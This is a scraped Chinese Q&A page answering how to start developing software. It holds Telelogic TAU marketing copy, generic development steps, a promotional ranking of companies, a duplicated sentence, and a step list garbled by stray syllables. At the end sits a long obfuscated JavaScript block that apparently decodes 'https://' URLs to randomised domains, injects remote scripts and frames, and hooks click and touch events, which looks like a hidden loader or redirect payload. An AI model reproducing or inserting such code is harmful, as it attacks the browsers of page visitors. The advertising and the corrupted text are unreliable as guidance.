我想开发一个软件,怎么起步?

2025-02-12 03:24:56
推荐回答(5个)
回答1:

软件已经渗透到我们身边的每个角落,汽车需要它来发动、飞机需要它来飞行、电话需要它来连接、医院的病人需要依靠它来帮助康复。

因此,软件正快速成为越来越多行业的竞争点。特别是在电信、汽车、航天及军事领域。加上许多市场的全球化和非正常化进程使得这种竞争异常激烈。

鉴于软件成为了现代社会的基础,在关键时刻不能失败成为绝对重要的头等大事。

更多、更快、更好的软件。这就是我们面临的挑战。

同时,软件开发人员需要使用手工编程技术和有限的人力创造奇迹,结果就使软件开发周期拉的太长而且不灵活。开发人员周旋于修改错误代码而不是集中精力在项目的体系结构和设计上,结果产品质量和最终交货时间都受到影响。

根据Standish Group International , Inc.2000 年的报告,23%的软件开发项目是失败的,49%是“被质疑的”—— 这些项目超时限、超预算或没有实现足够的功能。在这种情况下,公司就会面临失去竞争优势和市场份额的巨大风险。业界需要的是相对于以手工编码和以代码为中心的开发方法以外的另一种选择,否则他们就无法满足现今市场对开销、质量和产品周期的要求。

Telelogic TAU 第二代- 让你迈出下一步

幸运的是,业界已经在多年前就认识到,这种情况正变得无法忍受,已经启动了很多尝试,目的是要形成一个全新的、有能力且可靠的技术标准,可以帮助公司在现代系统和软件开发中迎接这些挑战。

业界已经期待很久了,现在这些技术已经首次出现在市场上了。这是一套面向实时及其他复杂系统与软件开发的集成的、灵活的工具,即Telelogic TAU 第二代。

TAU 第二代包含三个最新的、最强大的技术用来加速大规模软件开发和测试:统一建模语言 (UML) 及它的许多最新修订版本中的特性,UML2.0 ; 功能强大的测试语言TTCN-3 和新的构造系统的方法:Model Driven Architecture (模型驱动构架)。这三个新的业界标准结合成TAU 的已经过认可的软件开发平台,形成了一个系统,一个一流的稳定可靠的工具解决方案。

TAU 第二代是系统与软件开发解决方案的一个突破,它把业界从使用了太长时间的手工、易出错、以代码为中心的方法中释放出来,自然而然地迈向下一步,一个更加可视化、自动化及可靠的开发方法。

结果是如何呢?它改进了项目的可预测性,提高了质量,大大地缩短了开发周期,显著地节约了成本。

Telelogic TAU 第二代- 加速先进系统和软件开发

TAU 第二代是一套集成的工具集系列,能够简化、自动化及加速复杂系统和软件的开发。使得TAU 鹤立鸡群的是它更着重于帮助用户解决大多数复杂实时系统和其他先进系统开发中的问题。

TAU 为项目经理、分析员、系统工程师、设计人员、开发人员及测试人员提供了一套集成的开发平台和许多独特性能。

一个共享的开发环境

现代开发项目的成功要依靠许多团队成员:系统分析员、软件设计师、编程人员、测试人员等。TAU第二代可以让公司在整个开发组织中应用一个共享的工具环境,统一了团队并使项目延期、工作交接等风险降低到最小。

为不同用户群定制的工具

TAU 第二代提供一系列基于角色的工具,为不同项目成员的需求量身定制。由于这一点,项目参与人员可以在合适的时间获得恰当的信息,这样就简化了开发环境并加速了日常工作。而且,这一点可使公司不必为不需要的功能多付钱,同时又提供了全面的灵活性。

先进的UML 系统建模

TAU 第二代提供了一个先进的可视化建模环境,让工程师使用最新的业界标准可视化开发语言UML2.0 来无歧义地描述系统构架、设计和行为。这一强大的新语言综合了传统编程的灵活性和建模语言的快速性。为系统工程师和软件开发人员建立了一个“通用语言”,加强了沟通和协调能力。

基于模型的可视化验证和仿真

TAU 第二代支持模型驱动开发,用户只需专注于构架和设计而不是实现的细节。不仅如此,使用TAU 第二代,开发人员还可以在开发的初期仿真系统。系统的行为可以被跟踪和分析,让开发人员了解与纠正复杂的动态行为,并且这时发现与消除错误最容易,花费也最少。

最新的现代化用户界面

在TAU 第二代工具集中的所有工具都遵从最新的微软Visual Studio 用户界面模式,形成了一个熟悉的,容易学习并且高效的开发环境。内置的即时语法和语义检查提高了质量,减少了错误并支持一种边学边用的方式。

自动生成应用程序

对于先进实时软件系统,TAU 第二代可以从可视化模型自动生成精简的产品级质量的应用程序。这一功能包括生成完全C 代码的应用程序和扩展的C++应用程序,无论是通用系统,还是小的嵌入式系统,把工程师从烦躁的,容易出错的手工编程中解放出来,让他们专注于他们最擅长的工作:解决高层次的问题和增加新的有价值的功能。

强大的可扩展性和团队支持

今天的开发机构往往是分布式的,这对工具解决方案有很高要求。TAU第二代包括对基于团队的开发的强大支持,如对基于组件开发方法的支持,灵活的文件存储结构,先进的图形比较和归并功能和与领先的配置管理系统的无缝集成。还有,通过独到的方法,工具还允许用户通过简单的浏览、切换,同时访问到高层视图和细节视图,在每一层上都可以进行分析。

一个开放并且灵活的工具方案

Telelogic TAU 是一个开放的开发环境,基于标准如UML、SDL、TTCN 和XML。TAU还是流程独立的并且可以和任何已有开发流程,无论是内部的还是公开的进行平滑集成。为形成一个完整灵活的开发环境,TAU提供了和其他领先工具的紧密集成,包括需求管理系统,如市场上的Telelogic DOORS 和领先的变更和配置管理解决方案, 如TelelogicSYNERGY。

关于MDA

MDA 帮助公司应付软件开发中层出不穷的新标准、新技术带来的快速变化。MDA是OMG发起的,目的是通过把系统描述背后的逻辑与它的具体实现相分离,保证组织机构的信息系统能够适应新的硬件和软件平台。MDA改进了应用程序的可移植性、互操作性和平台独立性,提高了开发人员的工作效率。

Telelogic TAU 第二代— 下一代的优势今天实现

使用TAU 第二代,使你的公司可以第一次在整个企业中应用一个集成的、多用户的可视化工具解决方案,支持和加速整个应用程序的开发生命周期。益处如下:

风险最小化

进行一个开发项目不外乎控制风险:无法足够快地将产品推向市场的风险;开发出的产品不够好的风险,无法适应市场或技术更新的风险。TAU 是一套经过验证的,可靠的工具解决方案,创建了快捷的、可预测的、并且是可重复的开发流程。不仅如此,作为一个开放的工具环境,Telelogic TAU 可以和所有领先的需求和变更管理方案集成。

提高效率

所谓加速提高效率就是保证花在产品上的努力都实实在在的用到了对其功能和质量的改进。使用TAU,工程师可以在一个高的层次上工作并且在迷失于细节之前集中精力解决大问题。同时,贯穿于工具中的使人工行为自动化的技术让软件工程师得到解放,不用担心很多细节,从而最终大大缩短了开发周期。

增强质量

在开发流程早期出现的错误如果被遗留到下一个阶段,则改正起来所花的开销是相当可观的 —— 如果遗留到最终产品中则昂贵程度更为恐怖。一个通常的解决方法是人工代码审核,但十分耗人力、物力及时间,并且是不完全的。用TAU,模型可以被可视化地仿真,让开发人员可以在开发的初始阶段发现质量问题和设计缺陷。工程师们可以在正在进行的开发上根据质量要求,测试他们自己的部分。

提高可预测性

拥有一个快速的开发流程是很好的,但是比这更重要的是建立一套可预测的流程:项目经理需要知道每个工程师在做什麽,目前他们完成了什么,下一步工作需要多长时间等。TAU可使公司应用单一的集成工具平台,形成统一的先进系统开发。能方便地将系统分割,设计和构架、对人工和易出错环节的自动化、及项目不同阶段数据的无缝切换等这些性能都有利于形成一个可预测的开发流程。

简化沟通

改善项目参与者和管理人员、客户之间的沟通能够显著地降低项目的风险。因为TAU 是基于可视化语言的,这使沟通更容易、极大的减少了对文档的需求。实际上,TAU 的可视化语言功能如此强大,以至于它已具有很长的用于描述国际标准的历史,如3G、802.11 和GSM。不仅如此,TAU 的仿真功能可让项目人员在开发过程中演示系统的行为,从而尽早得到项目相关人员的反馈。

降低开销

在一个项目中实现降低开销的方法有很多种。提高效率可以节省很多金钱,因为它可以让公司最有效的使用人力资源。同样重要的,但往往被忽略的是降低维护的开销,而这一开销正是一个应用软件整个生命周期开销中的很大一部分。产品发布后发现的错误越少,则开销越小。维护也涉及到使系统适应变化的环境。TAU 创建了图形化的、容易理解的设计,降低了这种适应性改变的开销。

保护投资

安装一个新的开发环境,并让人们开始熟悉使用是一个挑战,TAU 是基于一个开放的构架,它平滑地集成了你开发环境中的其他部分,如质量管理过程,需求管理系统和变更管理系统。还有,TAU 是完全基于国际化的标准语言,可以保证市场上会稳定地提供熟练的工程师来使用这一工具,同时这个语言也将会和业界的发展一起进步。

关于UML2.0

UML (Unified modeling language)是一种用于描述、构造及书写软件系统的可视化语言。UML2.0 在2003 年6 月被推荐采用,完成了这个工业标准建模语言的一次大的升级。UML1.x 基本上是为分析和对小规模软件系统建模而设计的,而UML2.0 则被改进为更加适合系统工程师和软件开发人员面临的真实挑战,提供更好的扩展性,对基于组件的开发,构架建模和动态行为描述提供更强的支持。UML 是Object Management Group (OMG) 组织的标准。

Telelogic TAU 第二代-一个覆盖你开发所有需要的工具集

TAU 家族

除TAU 第二代工具外,TAU 还包括如下产品:

TAU UML Suite,一个基于UM1.4 ,对复杂应用软件进行分析,建模及面向对象设计的工具。
TAU SDL Suite, 基于SDL 和MSC 的通信软件开发工具
TAU TTCN Suite,一个通信系统的一致性测试工具环境
先进系统和软件的开发是一个复杂的过程,会涉及很多不同类型的专业,一个工具无法满足每个人的特定需要。因此,TAU 第二代产品是基于角色的,为不同目标用户群提供不同层次的功能。同时,这些工具又是建立在同一平台上,提供了统一的用户界面,从而缩短了学习曲线,加快了系统的实施。

TAU/Architect

Telelogic TAU/Architect 是一个用于先进系统分析和描述的、现代的、基于模型的系统工程工具。TAU/Architect 支持使用非专利的可视化语言UML,对大型和复杂系统完整建模,从而得到详细,易于理解并且是明确的描述。特别是,使用TAU/Architect 后,系统工程师不仅能描述结构,还能在开发中描述系统的行为。描述还可以被仿真来实现系统的验证,并可以在开发早期向最终用户和其他项目相关人员展示系统的行为。

对软件项目来说,在描述和开发中使用一种通用的语言- UML的价值是提高了团队之间的沟通,增强了组织效率。

与Telelogic DOORS 的集成保证了系统描述可以容易地被跟踪到需求中,而与TelelogicDocExpress 的集成又保证了在开发过程中所有的文档可以及时更新。与领先的变更和配置管理工具集成,包括Telelogic SYNERGY,可使工作能在大型及分布式团队中进行。

TAU/Architect适于系统工程师
TAU/Developer适于软件工程师
TAU/Tester适于测试工程师

关于TTCN

TTCN (Testing and Test Control Notation) 是一个由ETSI (European Telecommunications Standards Institute)维护的全球适用的标准测试语言。在它最近被批准的第三代标准中,TTCN-3 是一个现代的且灵活的语言,通过广泛的接口用于描述许多类型的系统测试。典型的应用领域为系统测试、交互性测试、协议测试、业务测试、模块测试等。TTCN 的平台独立性和其特殊的测试能力使得他被广泛应用于定义通迅系统的正式测试集,如:GSM,3G 和蓝牙协议。

TAU Developer

Telelogic TAU/Developer 是一个有现代技术水平的,用于开发先进实时软件应用的UML工具。TAU/Developer的模型驱动方法与传统编程方法相比显著地提高了开发效率,它可以使团队快速开发大型和复杂的实时软件系统。TAU对于人工易出错行为的智能自动化改善了产品质量,减少了开发时间和对资源的要求,同时效率得到了提高,因为用户可以把精力着重花在软件的构架、分析和设计上。

这一工具独特的技术可以支持可视化仿真和验证实时行为,尽早地排除错误。它还支持100%的应用软件自动生成。

与需求保持一致是通过与Telelogic DOORS的集成来实现的。文档的更新则是基于与DocExpress的内部集成,TAU/Developer可以与市场上领先的变更与配置管理产品集成,包括Telelogic SYNERGY.

TAU/Tester

Telelogic TAU/Tester 是基于通用测试语言TTCN-3,用于自动化的系统和集成测试的强大工具。TAU/Tester 以现代化的开发工具为基础,提供高层测试功能,支持整个测试生命周期,加速自动化测试。 TAU/Tester 可使用户特别关注于测试的开发,因为TTCN-3 语言是独立于开发语言或测试设备的,且是抽象和可移植的。

使用TAU/Tester,公司可以彻底简化测试环境,消除了对很多工具或昂贵内部专有工具的依赖。 TAU/Tester 基于全面自动化的过程,排除人工、不可重复性和特殊的过程,从而提高效率。TAU/Tester 可使公司利用现有的测试集,让他们更快地集中于对他们业务重要的功能上。

TAU/Tester 与Telelogic SYNERGY 和其他领先的变更和配置管理方案集成可以简化团队的测试开发。

Telelogic——一个全面的先进系统和软件开发生命周期的解决方案

开发复杂系统和软件面临着日益增长的挑战,开发周期在缩短,但市场的期望却在增长。竞争越来越激烈,在从未有过的加速度和没有犯错余地的前提下,公司面临着开发精益求精的产品的压力。同时项目也更加庞大和复杂。

业界正处于十字路口,成功与否在于是否选择了正确的方向。

Telelogic 提供业界认可的工具和服务,在复杂系统和软件开发中帮助用户实现业务目标。我们自动化的、开放的生命周期解决方案集成了用于需求管理、变更和配置管理、可视化系统和软件开发、测试及文档生成的一流的的软件和专业服务。

Telelogic 的独特特点

Telelogic 的工具是建立于一个开放的体系结构之上的,确保与其它领先的第三方解决方案的交互,并且平滑地与公司内部的工具和流程集成,所以保护了用户在现有开发环境上的投资。与之相配的全面专业服务,更加增强了工具的能力。我们的团队重点支持那些要求最苛刻的行业中复杂创新的开发,其中包括电信、国防、航天、汽车、金融服务和医疗设备厂商。

需求管理- Telelogic DOORS

Telelogic DOORS 是需求管理市场上的领先工具。使用DOORS,用户可以编辑、跟踪和管理项目中建立起来的所有需求,以保证最终产品符合所有定义的客户需求。

变更和配置管理- Telelogic SYNERGY

Telelogic SYNERGY 在Yphise 2003 年报告中被称为市场上最先进的变更和配置管理系统,是用来在软件产品开发生命周期中跟踪变更,保证配置完整性的项目工具,它支持并行和分布式开发团队,从而提高效率和质量。

可视化软件开发- Telelogic TAU

Telelogic TAU 是一个基于UML 语言的可视化开发平台。TAU 保证项目快速启动,是对未来可靠的投资。并且通过自动化的仿真和完整的应用程序生成,显著地节省开销和开发时间。

测试- Telelogic TAU

TAU 同时是一个测试解决方案,利用了最新的标准测试语言TTCN-3。这一功能使得大型分布组织机构中的系统和软件测试更加有效率,满足日益增长的对质量和可靠性的要求。

文档生成- Telelogic DocExpress

Telelogic DocExpress 是业界最被广泛集成的自动化文档处理工具,通过从多个工具中将数据组合在单一视图中,从而维护最新的项目文档,及产生标准化、格式化的报告。

伙伴与联盟

在这样一个快速变化的行业中,没有一个公司可以在所有时间,为所有人解决所有问题。在整个项目生命周期中,用户总是在寻找多种多样的软件工具和服务来解决他们将来的需求。Telelogic 的伙伴联盟计划(TAPP)就是更广泛地接触客户,和现今业界领先者的一流的补充产品和服务一道,加强我们的解决方案。与超过50 个领先的伙伴一起,Telelogic 给了我们客户解决其开发挑战的全部支持和灵活的解决方案。

Telelogic -让你在开发中领先

通过提供一套自动化的、集成的、开放的工具集,Telelogic 帮助企业或个人改进工作效率,保证了先进系统和软件的开发能够:

更快
花销更合理
质量更高
使用可预测和可靠的流程

回答2:

开发者,要开发软件,大致需要以下步骤:1.明确目标开发者,需要明确自己想要开发什么样的软件。在确定好目标后,需要考虑软件需要满足用户的哪些需求,是否需要特定功能等。2.编写需求文档在明确了目标后,需要编写一份详细的需求文档,用于确定软件需要实现的功能、流程以及设计。3.程序设计程序设计是软件开发的核心,它涉及到算法、数据结构、软件架构等方面。在程序设计中,需要选择合适的编程,并根据需求文档进行代码编写。4.测试软件测试软件是软件开发过程中的重要环节,它可以帮助开发者找出程序中的错误和缺陷,并帮助优化软件性能。5.软件发布一旦软件测试完成后,需要将其发布到用户手中,让用户进行测试、反馈和宣传等。如果你是初步接触开发的人,则建议寻找一些相关的开发教材,自学学会编程技能。如果你已经有一定的编程经验,可以考虑参加一些比赛,或在相关的开发社区中交流和学习,不断提升自己的编程技能。

回答3:

极其流行,同样也是竞争力极其大的一种商业模式。虽然国内软件开发公司都发展壮大起来了,但是各地软件开发公司的实力及资质仍然参差不齐。下面为大家介绍下近期国内软件开发公司的排名汇总。
1:华盛恒辉科技有限公司
上榜理由:华盛恒辉是一家专注于高端软件定制开发服务和高端建设的服务机构,致力于为企业提供全面、系统的开发制作方案。在开发、建设到运营推广领域拥有丰富经验,我们通过建立对目标客户和用户行为的分析,整合高质量设计和极其新技术,为您打造创意十足、有价值的企业品牌。
在军工领域,合作客户包括:中央军委联合参谋(原总参)、中央军委后勤保障部(原总后)、中央军委装备发展部(原总装)、装备研究所、战略支援、军事科学院、研究所、航天科工集团、中国航天科技集团、中国船舶工业集团、中国船舶重工集团、第一研究所、训练器材所、装备技术研究所等单位。
在民用领域,公司大力拓展民用市场,目前合作的客户包括中国中铁电气化局集团、中国铁道科学研究院、济南机务段、东莞轨道交通公司、京港地铁、中国国电集团、电力科学研究院、水利部、国家发改委、中信银行、华为公司等大型客户。
2:五木恒润科技有限公司
上榜理由:五木恒润拥有员工300多人,技术人员占90%以上,是一家专业的军工信息化建设服务单位,为军工单位提供完整的信息化解决方案。公司设有股东会、董事会、监事会、工会等上层机构,同时设置总经理职位,由总经理管理公司的具体事务。公司下设有研发部、质量部、市场部、财务部、人事部等机构。公司下辖成都研发中心、西安研发中心、沈阳办事处、天津办事处等分支机构。

3、浪潮
浪潮集团有限公司是国家首批认定的规划布局内的重点软件企业,中国著名的企业管理软件、分行业ERP及服务供应商,在咨询服务、IT规划、软件及解决方案等方面具有强大的优势,形成了以浪潮ERP系列产品PS、GS、GSP三大主要产品。是目前中国高端企业管理软件领跑者、中国企业管理软件技术领先者、中国最大的行业ERP与集团管理软件供应商、国内服务满意度最高的管理软件企业。
4、德格Dagle
德格智能SaaS软件管理系统自德国工业4.0,并且结合国内工厂行业现状而打造的一款工厂智能化信息平台管理软件,具备工厂ERP管理、SCRM客户关系管理、BPM业务流程管理、
OMS订单管理等四大企业业务信息系统,不仅满足企业对生产进行简易管理的需求,并突破局域网应用的局限性,同时使数据管理延伸到互联网与移动商务,不论是内部的管理应用还是外部的移动应用,都可以在智能SaaS软件管理系统中进行业务流程的管控。

回答4:

软件已经渗透到我们身边的每个角落,汽车需要它来发动、飞机需要它来飞行、电话需要它来连接、医院的病人需要依靠它来帮助康复。

回答5:

1.问题的定义及规bai划
此阶段是软件开发与需求放共du同讨论,zhi主要确定软件的开发目标及其可行性。
2.需求分析
在确定软件开发可行性的情况下,对软件需要实现的各个功能进行详细需求分析。需求分析阶段是一个很重要的阶段,这一阶段做的好,将为整个软件项目的开发打下良好的基础。逗唯一不变的是变化本身地,同样软件需求也是在软件爱你开发过程中不断变化和深入的,因此,我们必须定制需求变更计划来应付这种变化,以保护整个项目的正常进行。
3.软件设计
此阶段中偶要根据需求分析的结果,对整个软件系统进行设计,如系统框架设计、数据库设计等。软件设计一般分为总体设计和详细设计。还的软件设计将为软件程序编写打下良好的基础。
4.程序编码
此阶段是将软件设计的结果转化为计算机可运行的程序代码。在程序编码中必定要制定统一、符合标准的编写规范。以保证程序的可读性、易维护性。提高程序的运行效率。
5.软件测试
在软件设计完成之后要进行严密的测试,一发现软件在整个软件设计过程中存在的问题并加以纠正。整个测试阶段分为单元测试、组装测试、系统测试三个阶段进行。测试方法主要有白盒测试和黑盒测试。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 